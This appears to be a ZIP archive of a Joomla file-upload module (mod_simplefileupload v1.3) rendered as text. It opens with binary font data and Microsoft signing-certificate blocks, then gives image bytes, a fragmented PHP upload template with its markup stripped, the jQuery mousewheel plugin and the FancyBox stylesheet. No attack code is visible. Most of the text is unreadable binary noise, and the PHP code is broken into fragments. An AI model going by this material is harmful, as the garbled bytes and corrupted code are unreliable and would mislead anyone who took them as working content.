44x4444n44l4S4?4f4U4444`4(4T4\4@4k4.4;44@4 44o444J444844 4 4d4444+4F4~4444t4z4444I444444X44044[[|aVlll9l9llslllllV9l9llsUllllllll?lll@lzltll l llWl ll[ll ll.llll llxllllnllllSl?lflUllll`l(lTl\l@lkl.l;ll@l llolllJlll8ll  ldllll+l lFl~lllltlzllllIlll4llXll0ll[ULMMqMMMM9MUMMMUMMMMuM*MVMMMMjMMnMMMMM=M:MMMMyMMjMMyMMMMMMMMM4p" Xpx\pDpl*ll7l@bXllX5)lrlll T +l/lDlNHl\l&Tl{l'l' l|lDll?&9,XE@zN  ^RkD?TI|D|l|c|vlSll?lDlqDDWl\\l||l>lJl<lpl\h4l|&lblxx&qxR89 :fx0F.Dw9!~w- 8uL@@x@@@qxxLxxxx@&xxdx-x?$ UxxuxxxFxxxxxx)X8VfLU@xUGxxxx:+xt)7((F6sd YV3)G@g Fl3''S:''' 'TE'''g8@@lx@F@ Z@ 4r .:@P@@@@X se@@7@K@G2@bbcx rs> t\^<>s'8r' hN6lPq9"XR  v0&D &xf?^ 3,'(\l:DLR ?Rq^g& EK? 0"Xp|pNIND0YTHHR+J 1$:+$>&>5>0>>>>+> p>>II>>:>>>>>>5>>b>>l>>plW\>>>J>^>>>>hv>cp6>v>>>g>>>r4T@U'zSdrvv^vl$$0$v$ 9:fF0 fD*.xD>H9H `vN`l`M4+ arab cyrlTgrek^hebrjlatnx URD     LTH ccmpccmpccmpccmpccmpccmpdligfinafinainitinitisolisolligaligaloclloclmedimedirligrlig          $,4<DLT\dlt|~$ N        F h"LM::ttzzBRXXz| - ) +1 0 04 5 6 8  9  ?j"4FX:BJRZbjrz :BJRZbhpx :BJRZbhpx  :BJRZbhpx     % !"#$:BJRZbhpx &'()*+,-./0123456789:;<=>?@A n&0:DNX CQ CQ CR CR EQ EQ ER ER $.8BLV`jt~ CQ CQ CR CR EQ EQ ER ER GC GC GE GE $.8BLV`jt~ CQ CQ CR CR EQ EQ ER ER GC GC GE GE..## 4tn&0:DGHIJK $GHIJK8BLV`jt~  *4>H     &.6< 0@ # ? @      !\(+.26(,=?ACDFIJNRVZ^bgkosw{~  !"$&(*,.0358;?AC\`es        # & ( * , 1 5 9 < @ E I M P T X \ ` d l''++--1155      !"#$%&'()*((+,,,<<->>.@@/BB0DD1FF2HH3JJ4NN5RR6VV7ZZ8^^9bb:ff;jj<nn=rr>vv?zz@~~ABCDEFGHIJKLMNOPQRSTUVWXY[\]^_`abcdefghijklmn  opqrstu"v$$z&&{((|**},,~..00224488::>>@@BB\\``ddrr               " " & & ( ( * * , , 0 0 4 4 8 8 < < @ @ D D H H L L P P T T X X \ \ ` ` d d l ls!)04))+LPTX\`dhlptx|+  L"l6T"^bg       $ . 3 7 ; ? C G K O R V Z ^ b f nr''--1155     ((,,HH JJ!NN"RR#VV$ZZ%^^&bb'ff(jj)nn*rr+vv,zz-./012345789:;<=>?@ABCDEFGHIJ  KLMNOPQ44R::S>>T\\U``VddWrrX Y  Z  [ \  ]  ^  _  `  a " "b , ,c 0 0d 4 4e 8 8f < <g @ @h D Di H Hj L Lk P Pl T Tm X Xn \ \o ` `p d dq l lrs!)/3))*LPTX\`dhlptx|*  L!k6T!^bf       $ . 2 6 : > B F J N R V Z ^ b f nr''--1155     ((,,HH JJ!NN"RR#VV$ZZ%^^&bb'ff(jj)nn*rr+vv,zz-./012345789:;<=>?@ABCDEFGHIJ  KLMNOPQ44R::S>>T\\U``VddWrrX Y  Z  [ \  ]  ^  _  `  a " "b , ,c 0 0d 4 4e 8 8f < <g @ @h D Di H Hj L Lk P Pl T Tm X Xn \ \o ` `p d dq l lr ^$*06<=x?zA|C$*06<=y?{A}C~     f f J &4      LM::J",6@ warab ghium0i *H Z0V1 0 +0a +7S0Q0, +7<<<Obsolete>>>0!0 +g*쟮񂠂:00<<>c@0  *H 0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority0 970110070000Z 201231070000Z0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority0"0  *H 0 p;N(x^0ꢩ%_L >|Q`2kBdyvT뜆fkzb#<Ŀ-fh&:, X&F >8,(9IBlUa|`-wL陴d;P1$+=c`Xe7RӿUE:TNzmtN̖ (!W`i7Kc@0  *H  5$w\`2 >:!W,Gb;;Z6Ti$m?̪|1=pjOiCZ Ob{+7%-e%cT!RnC2gl QRǽ0 1 )M[WeIRT(~ū7,zwvj?6A5jj5EZ38nM b T?FUp:uҠ0`0L .P\0 +0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority0 070822223102Z 120825070000Z0y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Code Signing PCA0"0  *H 0 y}]E941%5IwEqFԌkLRbMIl/$>e# HuEP%+ #A$bEJͳ/"J-|o;99ݽ)f;-2'Hlc\򸔣8P'N0==l9.4. }bxfs Oc,2EJ;PSfQyV>Pn5{$Rf=N+~3nGўJnS00U% 0 +0U0[pir#Q~Mˡr0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority<<>c@0U00Uvp[NQD.Dc0 U0 +{~J&μNtX't*uLxMi|CʇSŸVocDDȚ  )}s9=j8m҈#i 4|.)Bk(q8 ]hͽAkf4|zB{ p֒O8|-=4 b7j#\cZ9`U3; _,˫ 0  *RA^0(ip΀Brv0z0b a'0  *H 0y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Code Signing PCA0 081022212455Z 100122213455Z01 0 UUS10U Washington10URedmond10U Microsoft Corporation1 0 U MOPR10UMicrosoft Corporation0"0  *H 0 rt`\6=z)F"SF:[ WLwGpgt'g׊D0ɺ:VDO h$WN!7,/B!(Wz)6͞U̻"# )Z>c=,I {yqCZ㣳 U% ^3-(WUj 2Dflo8ݘ<iyNF์um-BQZxE.|+]a(C jB2)"00U% 0 +0U#s*L!qĦ0U0U#0vp[NQD.Dc0DU=0;09753http://crl.microsoft.com/pki/crl/products/CSPCA.crl0H+<0:08+0,http://www.microsoft.com/pki/certs/CSPCA.crt0  *H C)clsmÙm ;Hsz%,7{4#ξ\ykQ cr}Q*(* q)V /e-mME)VrO?jAby\w(.ǜ+* z^S`Owq`[9ӫEQt#'5—`'+ˎς רMC@uw\kdgT!EJhT^\gx\$ prpŸ00 aGR0  *H 0y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Timestamping PCA0 060916015300Z 110916020300Z01 0 UUS10U Washington10URedmond10U Microsoft Corporation1'0%U nCipher DSE ESN:D8A9-CFCC-579C1'0%UMicrosoft Timestamping Service0"0  *H 0 m܆Q2;7:%oaA;ZxgU~AS(Tp;'H~C2/&Jvwɩ!X~ $D5:T 3,~A ٰ%%ӎmI ÇnFmSF?$~|,y(EO6kSQ ۼʇ 2JQ|,jsrW؛K'3m2hn:."C dɣTx)>Xߪܮeӝg00UOxY |"0U#0oN?4K;AC0DU=0;09753http://crl.microsoft.com/pki/crl/products/tspca.crl0H+<0:08+0,http://www.microsoft.com/pki/certs/tspca.crt0U% 0 +0U0  *H 7'@e&>dĐ>WC @g*ܴ6 3|._P{a1ބiX|'Ep_W^;C?aq}{nZ0 5%aN2t+zrK+:T`ا٩mDk c 2N~7_gFKm}ҾntipKe5D}9nP!>wšWi}io*"73:r0P:ŷ\ͳ00j O%EXzg0  *H 0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority0 060916010447Z 190915070000Z0y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Timestamping PCA0"0  *H 0 7nBJqH>S,2ORȃ>3I1(dPKuǨծipfx'f趷 Y")/@VvmdmJT޿ǀL7VhGv\/}%V[jc|<%M9wt]\؆7,u9 |vlnz>q_*Ob`2҃N+"\hE/Pl%ׅvs6ƕz`3[AXn,HoCj&k(0$0U% 0 +0U0[pir#Q~Mˡr0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority<<>c@0 +70UoN?4K;AC0 +7  SubCA0 U0U00  *H M1|PapEsT? -QS9V ތ;ɷQ!oi~k"Flm|"Fӄ6~p]Eݎ*|ɮ2Շc6!v;s!شTeJ(&`;exHϭ:ObX099!dcC/{FeJtn ̝(a|H!8Ŗ2@S=f7"̰wTQ:rD#1000y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Code Signing PCA a'0 +0 +7(10 *H  1  +70 +7 10  +70# *H  1fIqLv[==0V +7 1H0FArial Regular&$http://www.microsoft.com/typography 0  *H $(m HoWю"aI p&_}]; #PuJ-T1m2Bd;[+ċ2@ @,iA@)Oy <*y%K2PzJRD&KvbR4iK.˝$*^vo92;5'ne{L^Oo"'aNȟ ϮȾ vYqI)0bz0 *H  1 000y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Timestamping PCA aGR0+]0 *H  1  *H 0 *H  1 090120231951Z0# *H  1]y u[`Xg4l0  *H s~TvI}ĶE4a2SKRqCy'ؑ] j22-YAq6fbH\_6.>8h(] E ihG9zg{yE \Moo)mod_simplefileuploadv1.3/tmpl/default.phpnuW+A 0) { if ((strlen($upload_redirect) > 0) && ($_SESSION["uploaderr$mid"] != 1)) { header('Location: '.$upload_redirect); exit(); } } } // Make sure jQuery is loaded! JHtml::_('jquery.framework'); JHtml::stylesheet( JURI::root().$sfu_basepath."mod_simplefileupload.css" ); JHtml::stylesheet( JURI::root().$sfu_basepath."tmpl/fancybox/jquery.fancybox-1.3.4.css" ); if ($upload_jquery == 1) { //if ($upload_jqueryinclude == 0) { // JHtml::script( $sfu_basepath."tmpl/fancybox/jquery.mousewheel-3.0.4.pack.js" ); // JHtml::script( $sfu_basepath."tmpl/fancybox/jquery.fancybox-1.3.4.js" ); //} else { echo ''; echo ''; //} } JHtml::script( JURI::root().$sfu_basepath."tmpl/md5-min.js" ); if ($upload_users == "true") { ?>
    0) { ?>
    [ + ]
    0) $ispostfix = $is; else $ispostfix = ""; ?>
     
    Refresh Captcha
    1) { ?> 0)) { ?>
    "; } ?>
    ".$f."
    " . $results . ""; $results = ""; } else { ?>

    " . JText::_('NOT_ALLOWED_USER') . ""; } ?>PKYy>\#o,,(mod_simplefileuploadv1.3/tmpl/index.htmlnuW+APKYy>\̚++0mod_simplefileuploadv1.3/tmpl/fancybox/blank.gifnuW+AGIF89a!,D;PKYy>\Uoo9mod_simplefileuploadv1.3/tmpl/fancybox/fancy_shadow_s.pngnuW+APNG  IHDRLW6IDATE 0a!o r.?۲k; f7xn[gpKUvduIENDB`PKYy>\``;mod_simplefileuploadv1.3/tmpl/fancybox/fancy_title_main.pngnuW+APNG  IHDR yڑ'IDATc``g`en&Le`b`pg`WVYSIENDB`PKYy>\`o#Fmod_simplefileuploadv1.3/tmpl/fancybox/jquery.mousewheel-3.0.4.pack.jsnuW+A/*! Copyright (c) 2010 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.4 * * Requires: 1.2.2+ */ (function(d){function g(a){var b=a||window.event,i=[].slice.call(arguments,1),c=0,h=0,e=0;a=d.event.fix(b);a.type="mousewheel";if(a.wheelDelta)c=a.wheelDelta/120;if(a.detail)c=-a.detail/3;e=c;if(b.axis!==undefined&&b.axis===b.HORIZONTAL_AXIS){e=0;h=-1*c}if(b.wheelDeltaY!==undefined)e=b.wheelDeltaY/120;if(b.wheelDeltaX!==undefined)h=-1*b.wheelDeltaX/120;i.unshift(a,c,h,e);return d.event.handle.apply(this,i)}var f=["DOMMouseScroll","mousewheel"];d.event.special.mousewheel={setup:function(){if(this.addEventListener)for(var a= f.length;a;)this.addEventListener(f[--a],g,false);else this.onmousewheel=g},teardown:function(){if(this.removeEventListener)for(var a=f.length;a;)this.removeEventListener(f[--a],g,false);else this.onmousewheel=null}};d.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})})(jQuery);PKYy>\gܦ9mod_simplefileuploadv1.3/tmpl/fancybox/fancy_nav_left.pngnuW+APNG  IHDR;0mIDATHǭWkHWĘKmk58/sJQ69"jU N Nl17M:tsb[֭ CVjŘ=ox?јہ9罝yx<^ɒSNyjikk;wO9yk7Z$$'N+n߾ܬ<~֭ODG644D-4?ZkůKIIVVS322}M<ʮmoo?Y__fxxü興 ހu$,&&& ???Nleeź`*11Q(']S>+W?Z '݁iͰ2fѸòOqK{\.$N.ʎ=υ-R444d޴'G\\X)b\\ǫZZZ.X,EZk:WHiK w^R$̱p~!!!ʊs"Zݻfҁwc\"!O^o7]NMMY缽uۤktt+zAjbG(>7?? wuu#MJJ/..ڂ~ɔh~uu0>__V`0pjj0Ro"VlHǘ ==844Ts666XglV[[[6OzRZZ9 XRƒ8oPN- hΠ֐ >ap'lĸP:OSJBq&--,ŷ{199i$FLK$*tJB CN52Ba 0?_#*uENu/?ѿ$ۛZ߲ܳ6|sYi'4}eK'T*58Oh^[T)**2r\ ı7\U^^^iAAA%Hn!zIg8r4`H/ "9D.ɗ(}}Fd# tۗL H5kA|zzTPP`tw ?0\%{%{-եA^}A! D&£GLBp XnkkKPFXkqCK;9NH+' =GCdG/HC`gJ$MUF~/nAاWymrcH6Eu  +D\t(6mod_simplefileuploadv1.3/tmpl/fancybox/fancy_close.pngnuW+APNG  IHDR;0IDATHǝWkLWRr[B\ 2&!$&%BLgd&K%&Lp3 # b%Q(-螷yG+>o|!///##Cw^^lkk w͑ Ϻ[~HI(mIIIN\v-E_WWի̌pB4~?D:+HV$#\~p]ӧOX։7fō;wFGGlkSr BvݼyR'O8/_Ҵj6e4V|Qȧc bZ+<1nSGGl6f}Z%v.o,u2tm{ll쪔Pd]=X<9ꔔ]kkkn_"~\._ٌT^ti] -j1d9\ =}$ʯNB*FOOl ?`.PŹ{Id29k77XѬX\c+65::-l%`# wuuY Ip_SSӺ0o3(:oxOv"xXvFɅ7b)=fbUs.$$$c: aHCqqq z)nkbrȹHlÇDkhh NXGANWv JK ɷ*&%̙3i3Avӗ@1<{rO1'ڬMC}~ȐZr߳M]I rKcccKrGT\ڼ.*3Q + q9ɹrjPV}[VIrlX5#m 29T4y;4Ν0Vmi˔֩\;|vvR^^n]H_#lp|t|ע.79 DԔE(t(\jp,]:#c:;;x/<. PS"5-@ה]|vU=N;-^:xϟm<**jv1Me[^>n=aQ6~-@Ls'X6ucVf\hjn^9; |T ;2mlz~E(BH,;I&x.eCYW>_"(؈(A)YO^P*fq-miIENDB`PKYy>\N;;3mod_simplefileuploadv1.3/tmpl/fancybox/fancybox.pngnuW+APNG  IHDRF;~IDATx x\eIڦMB@AYdQ+Vd. "XvdS@A@]]AQ%i&=M%]辰y̽OIw{|ycݥM[7GZ #(ԧ>w}뮻կ~Uqg9Z_oH{WZzi[~WLJ+|=|玾;vw '׿>?{9猽v1kK3 ti3%MiDM~_}]wodɒ[?z|Ӗ/_oqG@ysk~,[9vaѣG䳲֙M̜9tslanᆍ /8)?(m{|a_|q_|5t|gXKnNi8`n\>qzrC5eee ^>qRYY>;q e˖}JY $E1VUU?Q_a:9/8]O>I&5Ÿy$t7UĘ@X"tu] aRg>Y]܈{.sw9\pdONΐ-o8^ǡS~/Š,A<_`!8`D/0c>XYoq#]tQd)CećkXW邓Ei>+%l 0?˧Ug5t{TBLc["b}>f>'lf^U-H':sC|9s Z~~;i,S/| =O &ԉq؇݆ki{I=Fnn~Ӽ%AL9` ɵ~8X,tMeShOa2a8ҏƚ dK,w:Y>M²A6>v'x үgz3ffZd&T|t5ރ8F/,$MNQrY&7Zߖsgy#;}xK5q_~32 aTvnH]*s"Y"M^zш3gΜ rz߱{wt" 3yO}29ҭ:Ą\KͺL?|&Q)[J;RX-  c LesMt̐snE-Ҿ{{v`{g6]~m?Oھ7pۺ62s,8pg>󙙇rL&~>FnUT:@1#O;9KhoooMR}/ύ0hqp heN5Ctdh}k_˰P 0sDa[؆>H SĢoC _җ߫jMV"v3{`m$;hƥ[~Œ1O>Q3 +-9gg("tv|8^06Fj`4HkCYگ_l\>wvfxZaWq} ~N\Ï`%ta%vt &'-&i ڴ@[|X N+2`,/VԃTQ:כ}Զ^]Sz" {15lN^FRRefk ccYP_-*\m>̊_ 7j\a2fɞl##F5]˧O "L:25ߏF %Ll+B=eRw!|4p5?!aޤ^(~W7i} 8T[<Β6/ddM;Y-(5poK|7nvT.Ʈ-(42"{0t/fs2^¼F0h(2,oy?{=/vpB7Jca|}AED;M;C" hsi/vSڡ9__C6drSG|:o!818_Wv.1`ā%퐊 ]6n5J; qK;xB!2_7\EP _^&#,EIV|"'b0l0ul|'l~yyzasê:::?K?=t7Ml d^ .E䫰"qkuϮME_qguV1Ds=,>Z{.g?YᏄ@X8o@Zڀo8i#o~󛅢t']aY`)S>*bs^!#t g)ܴ(TxnGq71 kMk's!_ش=WfU8߸L5X 8~)/CBS}2֋-t!E!dn7pi5AFMfT< @-#: v0eg]?яhW\q<2CJe B+5m v.P .s~6\.A78gGrWi{!pnIэQ"|{v!o}AT 8_p3[58-B;d%:5AC`Y݌bs膈#]+CFOll !5ʬr.!~wa!`PWVRV-E;d $a 0ẅ~j! w]¤2̪\֙0fY  DJ+ Elf$!&C87ƊHB>Ťxe> i43r]ہǷoX a )' gCGmӠ2E"s]m]5su8 *\x,o`o6<X13kC.8no9@CPqa|vLLfHnP־ C9_ߴC&^ B; D;2a|~ɪLC9yL&ڡ %\Atvηh@{v;kC!ڡ P|CK;sF;eSE[ 8tRp)CeEH_ĄdLӟg8_"ֵPUyAU! ȃ>hdt¢,VYۂJ-+2QB ۜ/8<gr0Z2*2u_:Rr:Ct3Lsu K%$E+%HaU[[1W?wAnʜbZļ5̛ȁ1O}P)NJ+.߸q_dXO{;kJ3 1DK3UbGWH"H&NXٳ^yTJ,If]2XHvj%ex`Md9n/ź@C^\1Kİ ꁠniSW\[6آɏc*&fӦMe꧞zjD#i|5~ǃ]0L'NFa`s΢ōzn#N9T>] ,P__RF1RRo]jZH%ohRpU $!u@Fcz|mQr)-אJx5=tǮ«tA`?8mt'H{qYX!á vex =x/VBdg66Pbb9' B3laJmt;76wUAE1*5wv(( pL2J5TO Cfċ|LW_}7Ilᵼ{hUa[Mz|T~ֳ|dyy,י>!@b{QՍ&ÀeJDpw(i{6 pO=47ʃUN( Fs V7N#!O!5Sax`B"8N-2D;*d)qU)tC"| g1Ct  Nl0+ Co ET1L֑8\n"\7?/1Lx&D ,dQ]Gaӿ1̗0Z[ĭ8U6<Kb5/+m9`nGNȂ\w%S='l~iJRRWIEIEI| # {vg`a_^&~X" ;u&e=O6߮4cƌs=\󞁻GJ0l,C_,a]g+LJ6yf'篴d+ 5<3rƬ\8>ƦɜYõde\%{f3\|ҙd ;ITέSl>"h:ދvъ,7t[H;XډVٜe2n;k6xKs%A9_{ ̢yųݨf8Q|w }^UP׽9JRHFt{;=R_f!|vaw^ϵ]|^_ +δY ̜o,8vTy:R$'YIz}Ξ!):pbPݖst{Co6@mt:^wvw ;o +m1 $oLGҼ|5*J+ „ s%JRS뫹V-)_Q M!QlqJJSΗ=YbJ\J|Ql·嶞o*K[1{| pR𢁢Qt+)"t+"+%R5%fYK_~_n}7aP}ꫯnȰp"TTdSkT2(hM\yƴ2אϲ _|QΗ&:pYqNC-S!L72HwD Pȉ-Aݥd*eWbʏ8.`V]nR^k%c F!*h-;LPaDm_Bez A!"p.abhd.U*̶څƫ({J[9 $@V0gΗ9 >Z#/k ScjH4Ս&.|22oĿP~ƎnΤOX"r|U0%@_˿ThW⌲eWjr' ('.do E,aÌTUt&w-] q 0Zn_[iv*r* <՚$pt+nt3@D-^c d ?>GOɦ+K33 5í=ݨ*$.~p, =|=F%{K!@N ƾΨP|͖u9ߘ+[f56c*5fu- JRMVe=8y&l7xE ʬmMk@ÂjCwL:1U+0|=k}Rkv\nOl;MA1۔Z9&G#4sśm2dk3Oe9n`AɪPs0ϱ}͓x -c/''(|zrb(|=?A)h7js[j׵pL|3Ps+W-o„ȕz˚>B4bbr65k-K\ EnI.I=_N6#mzpYoTYP}]mˢxq(Sh:6#`/VԐlqVgK]>[b*ILFGl⣭R":IUh9sz Lߊ V| D:"J a(%5;\M)`2˜knU)I[;΀%qmҤIt6* ^`h-2_M5L[Pẙ=jFrk#w'^^F&%T0ۀ3q% VH2%t;8`I#6;DE,hhսq| t77L!r7xm;օc> |W%tld[-2(Iɹ0484\|N#O _9ix 7‚~bVTa{YݪխJ{3pMõ cC38_G}t1h;5(XWFZ]ke5}ey1&ho,(CI7w8l u}-η:xgcH!V+Pb͖Sq,LҠj(y|OrZ'2Ju=ܳϮj9uj +$+9y.g(e*"fF,7-ڭ>SřXhujrLJpfL @cu@3Z8"}saUrOf'ߌvA 4uKہeXI'IfS >gZ툇&}f~@lgRVTRSrRi<,Q0Tg77c]3Ԛ׸GҼM5|sF܆^G欐| rjr kv֮4F}HJC,aLi^&x 05OLF0#:3^RzCc^#6 {j]q:鳻 ˿fyO?حcnFk"7 ΗlZHN#U0cok1iG RN=V}t 0bJj5z]e,}v0;X2B!1ߕT׵{ + #&єE<`k ;( V"uұ2*=,a3 `dmV'veڜIN扙 s+>^&Ԝk۽H(=&ԜEx^Ēt1l 5UxDJ=|K 51yᅁ+NL`SPkp(ԜQfQPs#淨Ro?"η8&|{z%ȱ009|1zf1u$,jT W,) Q)3";6{7PbpwSI0PUT)&Q'K^ؤSsi0AD̜ށuh8e ŹfbMB- '0 hME*qH8>Њ[oI7[~aR(pJj.B;%l)PJ5hjQbZvW"Fa ]e68+ğ#syTF0M- psr3c1F#b.ΗUW]5﮻BD S֊e9Z@\LQcsN}2"1GZF1$/Ha qӆZ=7 :&F~dY OSS,2 s)4IrE(U /v =#aCgkHfs9f-Be|d2>0za |JBSHljjhhXoӃ3ӨT ύ$ZcTRI8묳HdvO.Z),6kTg}v I_jdas\$bASW7ڹTǻ ]J"TŸ9_r`-rVޏ=Yfa]^^ r%ݳb[$ǰ$0{//1c=o8ғ{1ZL=_>#Őo0g; {3E/5 'kc&9ŻFU2 ȹ& 8_ )h,|ɓ'7ɘ}cL'kHp~6pF+[W4bd&fc!1׏0c '4r )\Cqv $zPn\`T5c%X@뵪Xqt@DכZ$|''蚩x8_|ҬK0?Ƀ\`n8P.dlf;SoF;XxF'oqR*DJ2+t42L^刂EFm_jow} B/BXN#;/^'XM;*A_A:bBS0G*)RWWZ(8"7(ٗ5RSBb|L}GPQz뭝0zCf>CXKaFiµR}uMMjeGW_}uk%$sŶW,ɷ69{Y(H_r[uIϰq_q8߈EoF4 LF])#|S 8׶C,|r5)]:\?8KkEeqpj;p Ka/2^a@Wahx3!Ϗ0dHfr L8ˇXsf|1#|)+1#{>ƍI IVIOpLUiɂj??+>"j*STҍ 5/v0V@)7dl)ݜ9sBOD#5 CׂARǐ?@Y[rv'r]jժ^xᅥL֨l[ D Ułl6pM29 V-2o^I xZ;C"V윯Ij/\sHpG8j8eK^{ Ξ>gݬ8S}-aq*LuC%8߈8XFyDoG'yDoa"7Jb8_GxDob9J(8_!cu2h1=B#[KH#tlfFSBNm*dYN!DҘ( 504bL{*| RPRt%)0taD@Z S Gw޾^] /2Y2! F.L U<% O>Fr٢/}q8aA[ Ҽ>|ΗqArf|2x,Mi!. ĉV~͏=ؒsXyYEn"iRJ,Ǥ)BXy=\ ** x㫯+dٚ&o(qug~s.,&P$mQtTvEYWSL'3 {f Uź DbžQq@Ӱ1k!ݭI8qcG<+5p, mr @uflW(>ΗuʩIM|c[o Go,|#7|cqzDoa"7Jb8_GxDv8ߘ PUs1),ČpI1iֵ|IĆE,@F@Zt#LYI@S1@Z1ZXd#St QL)[a1z"k#e &g@gBBobJ};r@0뢖'J,~!ȑr򖖖u0yz0yS㗬,AĂ3SLs:jjQ +Tc)MN3g}E:uDbn5&"V1qFk2-)4C'N;I-%㧏Sf.C"lU.8apo E .i߿ȐRa28m@"4W)SHb8_gBb]p_ 7Y'*a6AW=_&e|eR#0ҍbl<,Oኧ^ 04XIn\9 Hc gXtPdQ~G V† MM_Zkۍ qtVw:Jtu0zѶk;t&WbRp 9g49_p"n&%̨D rSYܥ9չ8;(Fo,|#7|S<"7#|<"7#<"70uM1\G#|S<"7_M&6a׭ueJJY 9QAAI[h"]9}[T \յeZ)~FY -1\|(IND\NA$@iJ.ZX!Xec9q88S-kJ| W+B'C/v]HQyO=ViEՄlB*02Ē(̵(vyWSɌRn 0y=b*r k hŏF9}hŹjrܡ-|\m$op>+ 2+UM@בg`=vYXp;PSD=!M kf4&N<u'hFwbbԂgP SOvI["OtF)Y2 c4QhPGB.K%+qXGrWu-N8a.$g&׌J|&Ē Ϊ2\wNBKͿ8Bҍ 5AM[>-'/H*VRl^q$a䯙 nV&%Kg%-BYZ*"JkbHF-V UX ֡E)mv@n;n&Ih5%$- #uPqs(Xt2K10f"zi+FΗ59<6jη:q[Eo,|#7|cq'%[PrKN:7T[IENDB`PKYy>\jj9mod_simplefileuploadv1.3/tmpl/fancybox/fancy_shadow_n.pngnuW+APNG  IHDRLW1IDATU gQ7{SRU^1I(3IENDB`PKYy>\SORt##@mod_simplefileuploadv1.3/tmpl/fancybox/jquery.fancybox-1.3.4.cssnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ #fancybox-loading { position: fixed; top: 50%; left: 50%; width: 40px; height: 40px; margin-top: -20px; margin-left: -20px; cursor: pointer; overflow: hidden; z-index: 1104; display: none; } #fancybox-loading div { position: absolute; top: 0; left: 0; width: 40px; height: 480px; background-image: url('fancybox.png'); } #fancybox-overlay { position: absolute; top: 0; left: 0; width: 100%; z-index: 1100; display: none; } #fancybox-tmp { padding: 0; margin: 0; border: 0; overflow: auto; display: none; } #fancybox-wrap { position: absolute; top: 0; left: 0; padding: 20px; z-index: 1101; outline: none; display: none; } #fancybox-outer { position: relative; width: 100%; height: 100%; background: #fff; } #fancybox-content { width: 0; height: 0; padding: 0; outline: none; position: relative; overflow: hidden; z-index: 1102; border: 0px solid #fff; } #fancybox-hide-sel-frame { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: transparent; z-index: 1101; } #fancybox-close { position: absolute; top: -15px; right: -15px; width: 30px; height: 30px; background: transparent url('fancybox.png') -40px 0px; cursor: pointer; z-index: 1103; display: none; } #fancybox-error { color: #444; font: normal 12px/20px Arial; padding: 14px; margin: 0; } #fancybox-img { width: 100%; height: 100%; padding: 0; margin: 0; border: none; outline: none; line-height: 0; vertical-align: top; } #fancybox-frame { width: 100%; height: 100%; border: none; display: block; } #fancybox-left, #fancybox-right { position: absolute; bottom: 0px; height: 100%; width: 35%; cursor: pointer; outline: none; background: transparent url('blank.gif'); z-index: 1102; display: none; } #fancybox-left { left: 0px; } #fancybox-right { right: 0px; } #fancybox-left-ico, #fancybox-right-ico { position: absolute; top: 50%; left: -9999px; width: 30px; height: 30px; margin-top: -15px; cursor: pointer; z-index: 1102; display: block; } #fancybox-left-ico { background-image: url('fancybox.png'); background-position: -40px -30px; } #fancybox-right-ico { background-image: url('fancybox.png'); background-position: -40px -60px; } #fancybox-left:hover, #fancybox-right:hover { visibility: visible; /* IE6 */ } #fancybox-left:hover span { left: 20px; } #fancybox-right:hover span { left: auto; right: 20px; } .fancybox-bg { position: absolute; padding: 0; margin: 0; border: 0; width: 20px; height: 20px; z-index: 1001; } #fancybox-bg-n { top: -20px; left: 0; width: 100%; background-image: url('fancybox-x.png'); } #fancybox-bg-ne { top: -20px; right: -20px; background-image: url('fancybox.png'); background-position: -40px -162px; } #fancybox-bg-e { top: 0; right: -20px; height: 100%; background-image: url('fancybox-y.png'); background-position: -20px 0px; } #fancybox-bg-se { bottom: -20px; right: -20px; background-image: url('fancybox.png'); background-position: -40px -182px; } #fancybox-bg-s { bottom: -20px; left: 0; width: 100%; background-image: url('fancybox-x.png'); background-position: 0px -20px; } #fancybox-bg-sw { bottom: -20px; left: -20px; background-image: url('fancybox.png'); background-position: -40px -142px; } #fancybox-bg-w { top: 0; left: -20px; height: 100%; background-image: url('fancybox-y.png'); } #fancybox-bg-nw { top: -20px; left: -20px; background-image: url('fancybox.png'); background-position: -40px -122px; } #fancybox-title { font-family: Helvetica; font-size: 12px; z-index: 1102; } .fancybox-title-inside { padding-bottom: 10px; text-align: center; color: #333; background: #fff; position: relative; } .fancybox-title-outside { padding-top: 10px; color: #fff; } .fancybox-title-over { position: absolute; bottom: 0; left: 0; color: #FFF; text-align: left; } #fancybox-title-over { padding: 10px; background-image: url('fancy_title_over.png'); display: block; } .fancybox-bar-under { padding: 6px; background-image: url('fancy_title_over.png'); display: block; } .fancybox-title-float { position: absolute; left: 0; bottom: -20px; height: 32px; } #fancybox-title-float-wrap { border: none; border-collapse: collapse; width: auto; } #fancybox-title-float-wrap td { border: none; white-space: nowrap; } #fancybox-title-float-left { padding: 0 0 0 15px; background: url('fancybox.png') -40px -90px no-repeat; } #fancybox-title-float-main { color: #FFF; line-height: 29px; 